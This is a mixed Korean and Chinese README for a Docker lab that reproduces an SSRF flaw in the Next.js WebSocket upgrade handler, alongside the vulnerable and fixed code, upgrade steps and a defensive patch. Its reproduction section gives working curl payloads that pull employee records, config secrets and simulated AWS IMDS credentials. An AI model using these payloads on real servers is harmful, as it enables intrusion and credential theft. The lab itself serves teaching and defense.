시큐리티 아카데미 CERT 프로젝트 멘토 데모용 취약점 재현 실습 환경
| 项目 | 内容 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (High) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| 受影响版本 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| 修复版本 | 15.5.16+, 16.2.5+ |
| 需要认证 | 否(Unauthenticated) |
Next.js 的 WebSocket 升级处理器(upgradeHandler)会将插入 HTTP 请求行中的
absolute-form URI(RFC 7230 §5.3.2)未经校验地代理到内部服务,这是一个漏洞。
攻击者可以向外部无法访问的内部服务发送任意 HTTP 请求(SSRF)。
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0,存在漏洞的版本) └── internal-svc (FastAPI + SQLite,仅限内部网络)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
构建完成后,Next.js 需要 30~60 秒才能准备就绪。
确认准备就绪:
curl -s http://localhost:3000/api/hello | grep ok
普通 HTTP 请求以 GET /path HTTP/1.1 的形式仅包含路径,
但 RFC 7230 §5.3.2 允许在请求行中放入完整 URL 的 absolute-form。
GET http://internal-svc/api/v1/employees HTTP/1.1 ← 绝对形式 URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js 的 upgradeHandler 会解析该 URL,若 parsedUrl.protocol 存在,
则会在不验证目标地址的情况下调用 proxyRequest()。
可通过 curl --request-target 选项直接指定请求行。
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ 返回姓名、邮箱、薪资、bcrypt 哈希全量
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
只要 parsedUrl.protocol 存在,就会立即走代理。无论目标主机是内部 IP 还是
IMDS(169.254.169.254),都会被无条件转发。
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished 仅在 resolveRoutes 内部请求匹配到正常路由时才为 true。
absolute-form URI 不会匹配到正常路由,因此 finished === false → 代理拦截。
patch-for-lab.js)在漏洞复现环境中,resolve-routes.js 会将 :// 误识别为连续斜杠,
从而把 http://host/path 缩减为 http:/host/path,这一行为会偶然性地阻断 SSRF。
patch-for-lab.js 会禁用该行为,使漏洞能够正常复现。
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
使用本实验包含的 patch-defense.js,将官方补丁逻辑直接应用到当前版本:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
应用补丁后,SSRF 请求会在无响应的情况下被拦截。
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes 补丁(用于复现 SSRF) │ ├── patch-defense.js # router-server 防御补丁(用于证明代码修改防御) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI 内部服务(SQLite + IMDS 模拟) │ └── requirements.txt └── exploit/ └── demo.sh # 6 阶段自动演示脚本
本仓库仅用于安全教育和漏洞研究目的。
将其用于对实际服务的未经授权攻击属于违法行为,
所有测试必须仅在本人拥有或获得明确许可的环境中进行。
本仓库仅用于教育和经授权的安全研究。
未经授权对生产系统使用是违法的。
所有测试必须仅在您拥有或已获得明确测试许可的环境中进行。